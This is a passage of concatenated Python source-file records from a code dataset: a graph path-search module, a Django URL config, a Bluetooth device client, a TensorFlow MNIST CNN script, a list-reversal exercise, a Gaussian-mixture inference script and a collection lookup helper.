case\n # if the modulo is 1, meaning that in the *following* path we\n # want another node culled\n send_values = None\n if (added_paths % options.get(\n 'cull_best_node', float('NaN')) == 1 and\n prev_path is not None and len(prev_path['path']) >= 3):\n degrees = self.nx_dir_graph_repr.degree(\n prev_path['path'][1:-1], options.get('weight', None))\n node_highest_degree = max(degrees, key=lambda x: x[1])[0]\n culled_nodes.add(node_highest_degree)\n send_values = (culled_nodes, culled_edges)\n if self.verbose > 1:\n logger.info('Culled nodes: %s' % repr(culled_nodes))\n # Get next path and send culled nodes and edges info for the\n # path in the following iteration\n try:\n path = paths_gen.send(send_values)\n except StopIteration:\n break\n hash_path = self._get_hash_path(path, **options)\n if hash_path and all(hash_path):\n if self.verbose > 1:\n logger.info('Adding stmts and path from %s to path list' %\n repr(hash_path))\n pd = {'stmts': hash_path,\n 'path': path,\n 'cost': str(self._get_cost(path)),\n 'sort_key': str(self._get_sort_key(path, hash_path))}\n if not path_len or (path_len and path_len == len(path)):\n result[len(path)].append(pd)\n prev_path = pd\n added_paths += 1\n elif path_len and len(path) < path_len:\n continue\n elif path_len and len(path) > path_len:\n if self.verbose > 1:\n logger.info('Max path length reached, returning '\n 'results.')\n return result\n else:\n logger.warning('This option should not happen')\n else:\n skipped_paths += 1\n if self.verbose > 2:\n logger.info('Done looping paths. Returning result: %s' %\n repr(result))\n return result\n\n def has_path(self, source, target):\n \"\"\"Return true if there is a path from source to target\"\"\"\n return nx.has_path(self.nx_dir_graph_repr, source, target)\n\n def get_common_parents(self, **options):\n \"\"\"Find common parents between source and target\"\"\"\n # Try, in order:\n # 1. ns:id from node dict\n # 2. ns:id from grounding service\n # 3. go with original node name and try HGNC and FPLX\n\n source_ns, source_id, target_ns, target_id = None, None, None, None\n\n # Source\n if options['source'] in self.nodes:\n source_id = self.nodes[options['source']]['id']\n source_ns = self.nodes[options['source']]['ns']\n else:\n source_ns, source_id = nf.ns_id_from_name(options['source'])\n if not source_id:\n source_id = options['source']\n\n # Target\n if options['target'] in self.nodes:\n target_id = self.nodes[options['target']]['id']\n target_ns = self.nodes[options['target']]['ns']\n else:\n target_ns, target_id = nf.ns_id_from_name(options['target'])\n if not target_id:\n target_id = options['target']\n\n # Initialize result dict\n cp_results = {'source_ns': source_ns, 'source_id': source_id,\n 'target_ns': target_ns, 'target_id': target_id,\n 'common_parents': []}\n cp = set()\n\n # Try different combinations of ns combinations\n\n # If both source and target are given\n if source_ns and target_ns:\n if source_ns.lower() in options['node_filter'] and \\\n target_ns.lower() in options['node_filter']:\n if self.verbose > 1:\n logger.info('Looking for common parents using namespaces '\n 'found in network')\n cp = ff.common_parent(ns1=source_ns, id1=source_id,\n ns2=target_ns, id2=target_id)\n else:\n logger.info('The namespaces for %s and/or %s are not in node '\n 'filter. Aborting common parent search.' %\n (source_id, target_id))\n cp_results['common_parents'] = []\n return cp_results\n\n # If only target ns is given\n if not source_ns and target_ns:\n if target_ns.lower() in options['node_filter']:\n if self.verbose > 1:\n logger.info('No namespace found for %s, trying HGNC and '\n 'FPLX.' % source_id)\n for sns in ['HGNC', 'FPLX']:\n if sns.lower() not in options['node_filter']:\n continue\n else:\n cp = ff.common_parent(ns1=sns, id1=source_id,\n ns2=target_ns, id2=target_id)\n if cp:\n if self.verbose:\n logger.info('Found common parents with source '\n 'ns %s' % sns)\n break\n else:\n logger.info('The namespaces for %s is not in node filter. '\n 'Aborting common parent search.' % target_id)\n cp_results['common_parents'] = []\n return cp_results\n\n # If only source ns is given\n if not target_ns and source_ns:\n if source_ns.lower() in options['node_filter']:\n if self.verbose > 1:\n logger.info('No namespace found for %s, trying HGNC and '\n 'FPLX.' % target_id)\n for tns in ['HGNC', 'FPLX']:\n if tns.lower() not in options['node_filter']:\n continue\n else:\n cp = ff.common_parent(ns1=source_ns, id1=source_id,\n ns2=tns, id2=target_id)\n if cp:\n if self.verbose:\n logger.info('Found common parents with source '\n 'ns %s' % tns)\n break\n else:\n logger.info('The namespaces for %s is not in node filter. '\n 'Aborting common parent search.' % source_id)\n cp_results['common_parents'] = []\n return cp_results\n\n # If no namespaces exist\n if not source_ns and not target_ns:\n if self.verbose > 1:\n logger.info('No namespaces found for %s and %s, trying HGNC '\n 'and FPLX' % (source_id, target_id))\n for source_ns in ['HGNC', 'FPLX']:\n if source_ns.lower() not in options['node_filter']:\n continue\n for target_ns in ['HGNC', 'FPLX']:\n if target_ns.lower() not in options['node_filter']:\n continue\n cp = ff.common_parent(ns1=source_ns, id1=source_id,\n ns2=target_ns, id2=target_id)\n if cp:\n break\n\n if not cp:\n logger.info('No common parents found')\n cp_results['common_parents'] = []\n return cp_results\n else:\n cp_results['common_parents'] = sorted(list(cp))\n return cp_results\n\n def _get_edge(self, s, o, index, simple_graph):\n \"\"\"Return edges from DiGraph or MultiDigraph in a uniform format\"\"\"\n if simple_graph:\n try:\n stmt_edge = self.dir_edges.get((s, o))['statements'][index]\n except IndexError:\n # To keep it consistent with below Multi DiGraph implementation\n stmt_edge = None\n return stmt_edge\n else:\n if not self.mdg_edges:\n raise nx.NetworkXException('MultiDiGraph not loaded')\n return self.mdg_edges.get((s, o, index))\n\n def _get_hash_path(self, path, simple_graph=True, **options):\n \"\"\"Return a list of n-1 lists of dicts containing of stmts connecting\n the n nodes in path. If simple_graph is True, query edges from DiGraph\n and not from MultiDiGraph representation\"\"\"\n hash_path = []\n if self.verbose:\n logger.info('Building evidence for path %s' % str(path))\n for subj, obj in zip(path[:-1], path[1:]):\n # Check node filter\n if self.nodes[subj]['ns'].lower() not in \\\n options['node_filter'] or self.nodes[obj]['ns'].lower() \\\n not in options['node_filter']:\n if self.verbose:\n logger.info('Node namespace %s or %s not part of '\n 'acceptable namespaces %s' %\n (self.nodes[subj]['ns'],\n self.nodes[obj]['ns'],\n options['node_filter']))\n return []\n\n # Initialize edges list, statement index\n edges = {}\n e = 0\n\n # Get first edge statement\n edge_stmt = self._get_edge(subj, obj, e, simple_graph)\n if self.verbose > 3:\n logger.info('First edge stmt %s' % repr(edge_stmt))\n\n # Exhaustively loop through all edge statments\n while edge_stmt:\n\n # If edge statement passes, append to edges list\n if self._pass_stmt(edge_stmt, **options):\n # convert hash to string for javascript compatability\n edge_stmt['stmt_hash'] = str(edge_stmt['stmt_hash'])\n try:\n edges[edge_stmt['stmt_type']].append(edge_stmt)\n except KeyError:\n edges['subj'] = subj\n edges['obj'] = obj\n edges[edge_stmt['stmt_type']] = [edge_stmt]\n if self.verbose > 3:\n logger.info('edge stmt passed filter, appending to '\n 'edge list.')\n logger.info('Next edge stmt %s' % repr(edge_stmt))\n\n # Incr statement index, get next edge statement\n e += 1\n edge_stmt = self._get_edge(subj, obj, e, simple_graph)\n\n # If edges list contains anything, append to hash_path list\n if edges:\n if self.verbose > 4:\n logger.info('Appending %s to hash path list' % repr(edges))\n hash_path.append(edges)\n else:\n return []\n if self.verbose > 1 and len(hash_path) > 0:\n logger.info('Returning hash path: %s' % repr(hash_path))\n return hash_path\n\n def _pass_stmt(self, edge_stmt, **options):\n \"\"\"Returns True if edge_stmt passes the below filters\"\"\"\n # Failsafe for empty statements\n if not edge_stmt:\n logger.warning('No edge statement')\n return False\n\n # Filter belief score\n if edge_stmt['belief'] < options['bsco']:\n if self.verbose:\n logger.info('Did not pass belief score')\n return False\n\n # Filter statement type\n if edge_stmt['stmt_type'].lower() in options['stmt_filter']:\n if self.verbose > 4:\n logger.info('statement type %s found in filter %s'\n % (edge_stmt['stmt_type'],\n str(options['stmt_filter'])))\n return False\n\n if options['curated_db_only'] and not edge_stmt['curated']:\n return False\n\n # Filter stmt hash\n if options.get('edge_hash_blacklist', None) and \\\n edge_stmt['stmt_hash'] in options['edge_hash_blacklist']:\n if self.verbose > 3:\n logger.info('hash %s is blacklisted, skipping' %\n edge_stmt['stmt_hash'])\n return False\n\n # Return True is all filters were passed\n return True\n\n def _get_cost(self, path, direct=True):\n if direct:\n # Return sum of aggregated weights per edge\n return sum(self.dir_edges[(s, o)]['weight'] for s, o in\n zip(path[:-1], path[1:]))\n else:\n # Return sum of averaged weights per stmts\n cost = 0\n for s, o in zip(path[:-1], path[1:]):\n ew = []\n e = self._get_edge(s, o, len(ew), direct)\n while e:\n ew.append(e['weight'])\n e = self._get_edge(s, o, len(ew), direct)\n cost += sum(ew)/len(ew)\n return cost\n\n def _aggregated_path_belief(self, path):\n belief_list = [self.dir_edges[e]['belief'] for e in zip(path[:-1], path[1:])]\n return nf.ag_belief_score(belief_list)\n\n def _get_sort_key(self, path, hash_path, method=None):\n \"\"\"Calculate a number to sort the path on\n\n `Method` allows to specify the calculation\"\"\"\n\n # Default: aggregated path belief score\n sort_key = self._aggregated_path_belief(path)\n return sort_key\n\n @staticmethod\n def _sort_stmts(ksp):\n for l in ksp:\n res_list = ksp[l]\n ksp[l] = sorted(res_list,\n key=lambda pd: pd['sort_key'],\n reverse=True)\n return ksp\n\n def _uri_by_node(self, node):\n \"\"\"Return the fplx URI for the provided node\"\"\"\n # Check existence of node outside function\n node_id = self.nodes[node]['id']\n node_ns = self.nodes[node]['ns']\n return self.ehm.get_uri(id=node_id, ns=node_ns)\n\n def _get_parents(self, node):\n if self.nodes.get(node):\n db_id = node\n ns = self.nodes[node]['ns']\n\n true_ns, true_id = nf.ns_id_from_name(db_id)\n if true_ns and true_id:\n return self.ehm.get_parents(uri=self.ehm.get_uri(true_ns,\n true_id))\n return self.ehm.get_parents(uri=self.ehm.get_uri(ns, db_id))\n else:\n return set()\n","sub_path":"depmap_analysis/network_functions/indra_network.py","file_name":"indra_network.py","file_ext":"py","file_size_in_byte":39296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"5229708","text":"from django.conf.urls import url\nfrom . import views\n\n\nurlpatterns = [\n url(r'^administration/$', views.administration, name='administration'),\n url(r'^faculty/$', views.faculty, name='faculty'),\n url(r'^visiting_faculty/$', views.visiting_faculty, name='visiting_faculty'),\n url(r'^staff/$', views.staff, name='staff'),\n url(r'^tag/(?P[-\\w]+)/$', views.filter_by_tag, name='filter_by_tag'),\n url(r'^(?P[-\\w]+)/$', views.details, name='details')\n]\n","sub_path":"wsgi/odyssy/people/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"516936470","text":"# -*- coding: utf-8 -*-\n\"\"\"A module for bluetooth connection\"\"\"\nimport time\nimport bluetooth\n\nfrom explorepy._exceptions import DeviceNotFoundError, InputError\n\nSPP_UUID = \"1101\" # Serial Port Profile (SPP) service\n\n\nclass BtClient:\n \"\"\" Responsible for Connecting and reconnecting explore devices via bluetooth\"\"\"\n def __init__(self, device_name=None, mac_address=None):\n \"\"\"Initialize Bluetooth connection\n\n Args:\n device_name(str): Name of the device (either device_name or device address should be given)\n mac_address(str): Devices MAC address\n \"\"\"\n if (mac_address is None) and (device_name is None):\n raise InputError(\"Either name or address options must be provided!\")\n self.is_connected = False\n self.mac_address = mac_address\n self.device_name = device_name\n self.socket = None\n self.host = None\n self.port = None\n\n def connect(self):\n \"\"\"Connect to the device and return the socket\n\n Returns:\n socket (bluetooth.socket)\n \"\"\"\n if self.mac_address is None:\n self._find_mac_address()\n else:\n self.device_name = \"Explore_\" + str(self.mac_address[-5:-3]) + str(self.mac_address[-2:])\n\n self._find_service()\n\n for _ in range(5):\n try:\n self.socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\n print(\"Connecting to {}\".format(self.device_name))\n self.socket.connect((self.host, self.port))\n self.is_connected = True\n return self.socket\n except bluetooth.BluetoothError as error:\n self.socket.close()\n self.is_connected = False\n print(error, \"\\nCould not connect; Retrying in 2s...\")\n time.sleep(2)\n\n self.is_connected = False\n raise DeviceNotFoundError(\"Could not find the device! Please make sure\"\n \" the device is on and in advertising mode.\")\n\n def reconnect(self):\n \"\"\"Reconnect to the last used bluetooth socket.\n\n This function reconnects to the the last bluetooth socket. If after 1 minute the connection doesn't succeed,\n program will end.\n \"\"\"\n for _ in range(5):\n try:\n self.socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\n self.socket.connect((self.host, self.port))\n self.is_connected = True\n print('Connected to the device')\n return self.socket\n except bluetooth.BluetoothError as error:\n print(\"Bluetooth Error: {}, attempting to reconnect...\".format(error))\n self.socket.close()\n self.is_connected = False\n time.sleep(2)\n\n self.socket.close()\n self.is_connected = False\n return None\n\n def disconnect(self):\n \"\"\"Disconnect from the device\"\"\"\n self.socket.close()\n self.is_connected = False\n\n def _find_mac_address(self):\n for _ in range(5):\n nearby_devices = bluetooth.discover_devices(lookup_names=True, flush_cache=True)\n for address, name in nearby_devices:\n if name == self.device_name:\n self.mac_address = address\n return\n print(\"No device found with the name: {}, searching again...\".format(self.device_name))\n time.sleep(0.1)\n raise DeviceNotFoundError(\"No device found with the name: {}\".format(self.device_name))\n\n def _find_service(self):\n for _ in range(5):\n service = bluetooth.find_service(uuid=SPP_UUID, address=self.mac_address)\n if service:\n self.port = service[0][\"port\"]\n self.host = service[0][\"host\"]\n return 1\n raise DeviceNotFoundError(\"SSP service for the device {}. Please restart the device and try \"\n \"again\".format(self.device_name))\n\n def read(self, n_bytes):\n \"\"\"Read n_bytes from the socket\n\n Args:\n n_bytes (int): number of bytes to be read\n\n Returns:\n list of bytes\n \"\"\"\n if self.socket is None:\n raise ConnectionAbortedError('No bluetooth connection!')\n try:\n byte_data = self.socket.recv(n_bytes)\n if len(byte_data) < n_bytes:\n raise ConnectionAbortedError('No data in bluetooth buffer.')\n except ValueError as error:\n raise ConnectionAbortedError(error.__str__())\n return byte_data\n\n def send(self, data):\n \"\"\"Send data to the device\n\n Args:\n data (bytearray): Data to be sent\n \"\"\"\n self.socket.send(data)\n\n @staticmethod\n def _check_mac_address(device_name, mac_address):\n return (device_name[-4:-2] == mac_address[-5:-3]) and (device_name[-2:] == mac_address[-2:])\n","sub_path":"src/explorepy/bt_client.py","file_name":"bt_client.py","file_ext":"py","file_size_in_byte":5007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"475412975","text":"#\r\n# Official TensorFlow tutorial on MNIST classification with a 2 layer CNN\r\n# with the following additions:\r\n#\r\n# 1. TensorBoard image summaries for convolutional layer inspection\r\n# 2. Output of failed test cases for error space analysis\r\n# 3. (todo) Parameter sweeps\r\n#\r\n# Tested on TensorFlow version 1.5\r\n#\r\n\r\n\r\nfrom tensorflow.examples.tutorials.mnist import input_data\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport imageio\r\nimport os\r\nimport shutil\r\nimport tempfile\r\n\r\n# initialize weights from a truncated normal distribution\r\ndef weight_variable(shape, name):\r\n initial = tf.truncated_normal(shape, stddev=0.1)\r\n return tf.get_variable(name, initializer = initial)\r\n\r\n# initialize biases to constant values\r\ndef bias_variable(shape, name):\r\n initial = tf.constant(0.0, shape=shape)\r\n return tf.get_variable(name, initializer = initial)\r\n\r\n# 2d convolution with padding\r\ndef conv2d(x, W):\r\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\r\n\r\n# 2x2 max pooling with 2x2 stride and padding\r\ndef max_pool_2x2(x):\r\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\r\n\r\nmnist = input_data.read_data_sets('MNIST_data', one_hot=True)\r\nsess = tf.InteractiveSession()\r\n\r\nLog_path = \"./logs/run_12\"\r\nConv1_filter_count = 16\r\nConv1_filter_size = 7\r\nConv2_filter_count = 64\r\nHidden_unit_count = 1000\r\nMinibatch_size = 50\r\n\r\nwith tf.variable_scope('input'):\r\n # placeholder for input 28x28 image\r\n x = tf.placeholder(tf.float32, shape=[None, 784])\r\n # placeholder for output vector, 10 classes for 10 digits\r\n y_ = tf.placeholder(tf.float32, shape=[None, 10])\r\n\r\nwith tf.variable_scope('conv1'):\r\n # initialize 32 different 5x5x1 convolutional filters and 32 biases\r\n W_conv1 = weight_variable([Conv1_filter_size, Conv1_filter_size, 1, Conv1_filter_count], 'weights')\r\n b_conv1 = bias_variable([Conv1_filter_count], 'biases')\r\n\r\n # convert the input array into an array of 28x28 matrices\r\n x_image = tf.reshape(x, [-1, 28, 28, 1])\r\n \r\n # apply the first layer of convolutions, add bias, and apply ReLU activation\r\n # output is an array of 28x28x32 tensors\r\n h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)\r\n\r\n # apply 2x2 max pooling with 2x2 stride (output is 14x14x32)\r\n h_pool1 = max_pool_2x2(h_conv1)\r\n\r\nwith tf.variable_scope('conv2'):\r\n # initialize 64 different 5x5x64 convolutional filters and 64 biases (second convolutional layer)\r\n W_conv2 = weight_variable([5, 5, Conv1_filter_count, Conv2_filter_count], 'weights')\r\n b_conv2 = bias_variable([Conv2_filter_count], 'biases')\r\n\r\n # apply the second layer of convolutions, add bias, and apply ReLU activation\r\n # output is an array of 14x14x64 tensors\r\n h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)\r\n\r\n # apply 2x2 max pooling with 2x2 stride (output is 7x7x64)\r\n h_pool2 = max_pool_2x2(h_conv2)\r\n\r\nwith tf.variable_scope('fc'):\r\n # intialize the fully connected layer (14x14x32 input nodes, 1024 hidden nodes)\r\n W_fc1 = weight_variable([7 * 7 * Conv2_filter_count, Hidden_unit_count], 'fc1_weights')\r\n b_fc1 = bias_variable([Hidden_unit_count], 'fc1_biases')\r\n\r\n # reshape output of the last pooling layer to fit the fully connected layer\r\n h_pool2_flat = tf.reshape(h_pool2, [-1, 7 * 7 * Conv2_filter_count])\r\n\r\n # apply the first fully connected layer, followed by ReLU activation (output is an array of 1024x1 vectors)\r\n h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\r\n\r\n # With probability keep_prob, outputs the input element scaled up by 1 / keep_prob, otherwise outputs 0.\r\n # The scaling is so that the expected sum is unchanged.\r\n keep_prob = tf.placeholder(tf.float32)\r\n h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\r\n\r\n # initialize the second fully connected layer (output is an array of 10x1 vectors)\r\n W_fc2 = weight_variable([Hidden_unit_count, 10], 'fc2_weights')\r\n b_fc2 = bias_variable([10], 'fc2_biases')\r\n\r\nwith tf.variable_scope('output'):\r\n # compute the output of the second fully connected layer (no activation)\r\n y_conv = tf.matmul(h_fc1_drop, W_fc2) + b_fc2\r\n\r\nwith tf.variable_scope('cross_entropy'):\r\n # define training step to minimize cross entropy between logits and labels\r\n cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(logits = y_conv, labels = y_))\r\n\r\nwith tf.variable_scope('train'):\r\n # train_step is an Operation (https://www.tensorflow.org/api_docs/python/tf/train/AdamOptimizer) \r\n train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\r\n\r\nwith tf.variable_scope('accuracy'):\r\n # define accuracy as fraction of accurately classified instances (use reduce_mean trick to vectorize)\r\n # tf.argmax - Returns the index with the largest value across axes of a tensor\r\n prediction = tf.argmax(y_conv, axis = 1)\r\n correct_prediction = tf.argmax(y_, axis = 1)\r\n prediction_is_correct = tf.equal(prediction, correct_prediction)\r\n accuracy = tf.reduce_mean(tf.cast(prediction_is_correct, tf.float32))\r\n\r\n# create a summary for our cost and accuracy\r\ntf.summary.scalar('s_cost', cross_entropy)\r\ntf.summary.scalar('s_accuracy', accuracy)\r\n\r\n# output filters from the first convolutional layer\r\n# summary expects images as 4-D tensor in format [batch_size, width, height, channels]\r\nW_conv1_transpose = tf.transpose(W_conv1, [3, 0, 1, 2])\r\ntf.summary.image('conv1/filters', W_conv1_transpose, max_outputs = 64)\r\nW_conv2_transpose = tf.transpose(W_conv2, [3, 0, 1, 2])\r\ntf.summary.image('conv2/filters', W_conv2_transpose[:, :, :, 0:1], max_outputs = 64)\r\n\r\n# merge all summaries into a single \"operation\" which we can execute in a session \r\nsummary_op = tf.summary.merge_all()\r\n\r\n# tf - initialize global variables\r\nsess.run(tf.global_variables_initializer())\r\n\r\n# create a file writer for the summaries\r\nwriter = tf.summary.FileWriter(Log_path, graph = tf.get_default_graph())\r\n\r\n# perform training - 20k iterations, minibatch size = 50\r\nfor i in range(20000):\r\n # get next minibatch from training set\r\n batch = mnist.train.next_batch(Minibatch_size)\r\n \r\n if i % 100 == 0:\r\n # evaluate accuracy (either by running tensor.eval() or session.run())\r\n # https://stackoverflow.com/questions/33610685/in-tensorflow-what-is-the-difference-between-session-run-and-tensor-eval\r\n\r\n #train_accuracy = accuracy.eval(feed_dict={x:batch[0], y_: batch[1], keep_prob: 1.0})\r\n train_accuracy, summary = sess.run([accuracy, summary_op], feed_dict={x:batch[0], y_: batch[1], keep_prob: 1.0})\r\n #sess.run(train_step, feed_dict={x:batch[0], y_: batch[1], keep_prob: 1.0})\r\n\r\n print(\"step %d, training accuracy %g\"%(i, train_accuracy))\r\n writer.add_summary(summary, i)\r\n\r\n # run minibatch training operation\r\n train_step.run(feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5})\r\n\r\n# evaluate accuracy on test set\r\nprint(\"test accuracy %g\"%accuracy.eval(feed_dict = {x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0}))\r\n\r\n# get per instance predictions for the entire test set\r\ntest_set_predictions = prediction.eval(feed_dict = {x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0})\r\ntest_set_labels = correct_prediction.eval(feed_dict = {x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0})\r\n\r\n# create a temp folder for storing output\r\noutput_dir = tempfile.mkdtemp()\r\n\r\n# output failed prediction for error space analysis\r\nfor i in range(len(mnist.test.images)):\r\n if test_set_predictions[i] != test_set_labels[i]:\r\n r = np.reshape(mnist.test.images[i], (28, 28, 1))\r\n imageio.imwrite(output_dir + '/failed_' + str(i) + '_' + str(test_set_labels[i]) + '_' + str(test_set_predictions[i]) + '.png', r)\r\n\r\n# todo: output confusion matrix\r\n\r\nprint('Output saved to: ' + output_dir)","sub_path":"cnn_mnist/cnn_mnist.py","file_name":"cnn_mnist.py","file_ext":"py","file_size_in_byte":7847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"498458373","text":"nums, times = input().split()\nnums = int(nums)\ntimes = int(times)\narray = []\nfor i in range(nums):\n array.append(i + 1)\nfor i in range(times):\n ope = input().split()\n ope = [int(x) for x in ope]\n reverse_list = array[ope[0] - 1:ope[1]]\n reverse_list.reverse()\n for j in range(ope[0] - 1, ope[1]):\n array[j] = reverse_list[j - ope[0] + 1]\nfor i in range(len(array)):\n if i == len(array) - 1:\n print(array[i])\n else:\n print(array[i], end = ' ')","sub_path":"Code/CodeRecords/2237/60870/287439.py","file_name":"287439.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"566225876","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nimport parameters as pa\nimport qs_updater as qs\nimport qpi_updater as qp\nimport qmu_updater as qm\nimport qlambda_updater as ql\nimport torch\nimport dataset as ds\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport gauss\nimport wishart\nimport random\nimport sklearn.cluster as cl\n\n\nDIM = 2\nK = 3\nNU = DIM * torch.ones(K)\nMAX_ITER = 1000\nOBS_NUM = 100\nSEED = 1\nEPSILON = 1.0e-5\nTRIAL_NUM = 1\n\nX_MIN = -1.6\nX_MAX = 2.0\nY_MIN = -1.6\nY_MAX = 2.25\n\nRED = np.array([1.0, 0.0, 0.0])\nGREEN = np.array([0.0, 1.0, 0.0])\nBLUE = np.array([0.0, 0.0, 1.0])\n\nCOLOR_MAP = {0: RED, 1: GREEN, 2: BLUE}\ntorch.manual_seed(SEED)\nrandom.seed(SEED)\nnp.random.seed(SEED)\n\n\ndef display_graph(dataset, colors):\n xs = []\n ys = []\n cs = []\n for (x, y), c in zip(dataset.numpy(), colors):\n xs.append(x)\n ys.append(y)\n cs.append(COLOR_MAP[c])\n\n plt.figure(figsize=(5, 5))\n plt.axes().set_aspect(\"equal\")\n plt.xlim(X_MIN, X_MAX)\n plt.ylim(Y_MIN, Y_MAX)\n plt.scatter(xs, ys, marker='.', c=cs)\n plt.savefig('./dataset.jpg')\n\n\ndef check(dataset):\n std, mean = torch.std_mean(dataset, dim=0)\n print(std)\n print(mean)\n\n\nclass Predictor:\n\n def __init__(self, ql_updater, qm_updater, qp_updater):\n self.wishs = [wishart.Wishart(ql_updater.nu.numpy()[k], ql_updater.W.numpy()[k]) for k in range(K)]\n self.ql_updater = ql_updater\n self.qm_updater = qm_updater\n self.qp_updater = qp_updater\n\n def predict(self, x):\n group = []\n eta = qs.QsUpdater.calculate_eta(\n x.reshape(1, -1),\n ql_updater.W,\n ql_updater.nu,\n qm_updater.m,\n qm_updater.beta,\n qp_updater.alpha\n )[0]\n\n for _ in range(TRIAL_NUM):\n ys = []\n for k in range(K):\n Lambda = self.wishs[k].sample().astype(np.float32)\n g_mu = gauss.Gauss(qm_updater.m[k], qm_updater.beta[k] * Lambda)\n mu = g_mu.sample()\n g_x = gauss.Gauss(mu, torch.tensor(Lambda))\n y = eta[k] * g_x.probs(x)\n ys.append(y)\n total = np.sum(ys)\n if total == 0:\n ys = [0] * len(ys)\n else:\n ys /= total\n group.append(ys)\n return np.array(group)\n\n\ndef repeat(pred, p):\n pass\n\n\n# eta:(N,K), dataset:(N,D)\ndef save_results(eta, dataset):\n # red = np.array([1, 0, 0])\n # green = np.array([0, 1, 0])\n # blue = np.array([0, 0, 1])\n\n colors = []\n for indices in eta:\n c = RED * indices[0].numpy() + GREEN * indices[1].numpy() + BLUE * indices[2].numpy()\n colors.append(c)\n\n plt.figure(figsize=(5, 5))\n plt.axes().set_aspect(\"equal\")\n plt.scatter(dataset[:, 0], dataset[:, 1], marker='.', c=colors)\n\n plt.xlim(X_MIN, X_MAX)\n plt.ylim(Y_MIN, Y_MAX)\n plt.savefig('./results.jpg')\n\n\ndef predict(ql_updater, qm_updater, qp_updater):\n pred = Predictor(ql_updater, qm_updater, qp_updater)\n h = 0.025\n colors = []\n xs, ys = np.meshgrid(np.arange(X_MIN, X_MAX, h).astype(np.float32), np.arange(Y_MIN, Y_MAX, h).astype(np.float32))\n for x, y in zip(xs.ravel(), ys.ravel()):\n z = pred.predict(torch.tensor([x, y]))\n az = np.mean(z, axis=0)\n c = RED * az[0] + GREEN * az[1] + BLUE * az[2]\n colors.append(c)\n return xs, ys, colors\n\n\ndef save_all_results(eta, dataset, xs, ys, pcolors):\n\n plt.figure(figsize=(5, 5))\n plt.axes().set_aspect(\"equal\")\n\n colors = []\n for indices in eta:\n c = RED * indices[0].numpy() + GREEN * indices[1].numpy() + BLUE * indices[2].numpy()\n colors.append(c)\n\n plt.scatter(dataset[:, 0], dataset[:, 1], marker='.', c=colors)\n plt.scatter(xs.ravel(), ys.ravel(), marker=\".\", c=pcolors, alpha=0.1)\n plt.xlim(X_MIN, X_MAX)\n plt.ylim(Y_MIN, Y_MAX)\n plt.savefig('./predict.jpg')\n\n\ndef make_initial_positions_with_kmeans(dataset, k):\n p = cl.KMeans(n_clusters=k).fit(dataset)\n return p.cluster_centers_\n\n\nif __name__ == \"__main__\":\n try:\n hyper_params = pa.HyperParameters(dim=DIM, k=K, nu=NU)\n qs_updater = qs.QsUpdater()\n qp_updater = qp.QpiUpdater(hyper_params)\n qm_updater = qm.QmuUpdater(hyper_params)\n ql_updater = ql.QlambdaUpdater(hyper_params)\n dataset, colors = ds.make_iris_dataset()\n std, mean = torch.std_mean(dataset, dim=0)\n dataset = (dataset - mean) / std\n display_graph(dataset, colors)\n\n cs = make_initial_positions_with_kmeans(dataset, K)\n\n # initialize mu\n qm_updater.m = torch.tensor(cs).float()\n\n prev_m = qm_updater.m.clone()\n for i in range(MAX_ITER):\n qs_updater.update(\n dataset,\n ql_updater.W,\n ql_updater.nu,\n qm_updater.m,\n qm_updater.beta,\n qp_updater.alpha)\n ql_updater.update(dataset, qs_updater.eta, qm_updater.beta, qm_updater.m)\n qm_updater.update(dataset, qs_updater.eta)\n qp_updater.update(dataset, qs_updater.eta)\n diff_m = torch.max(torch.abs(qm_updater.m - prev_m))\n if diff_m < EPSILON:\n print(\"> diff is {} at {}\".format(diff_m, i))\n break\n prev_m = qm_updater.m.clone()\n print(\"final m \")\n for m in qm_updater.m * std + mean:\n print(m.tolist())\n\n xs, ys, colors = predict(ql_updater, qm_updater, qp_updater)\n save_all_results(qs_updater.eta, dataset, xs, ys, colors)\n except Exception as e:\n print(\"Exception: {}\".format(e))\n","sub_path":"pyro/gmm_with_iris.py","file_name":"gmm_with_iris.py","file_ext":"py","file_size_in_byte":5674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"80838414","text":"class CollectionUtils:\n def find(self, path, collection_obj):\n if isinstance(collection_obj, dict):\n return self.find_in_dict(path, collection_obj)\n elif isinstance(collection_obj, list):\n return self.find_in_list(path, collection_obj)\n else:\n return None\n\n def find_in_dict(self, path, dict_obj):\n if not path:\n return None\n if \".\" in path:\n parts = path.split(\".\")\n return self.find(\".\".join(parts[1:]), dict_obj[parts[0]])\n else:\n return dict_obj[path]\n\n def find_in_list(self, path, list_obj):\n if not path:\n return None\n if \".\" in path:\n parts = path.split(\".\")\n for obj in list_obj:\n if obj.get(parts[0]):\n return self.find(\".\".join(parts[1:]), obj[parts[0]])\n return None\n else:\n for obj in list_obj:\n if obj.get(path):\n return obj.get(path)\n return 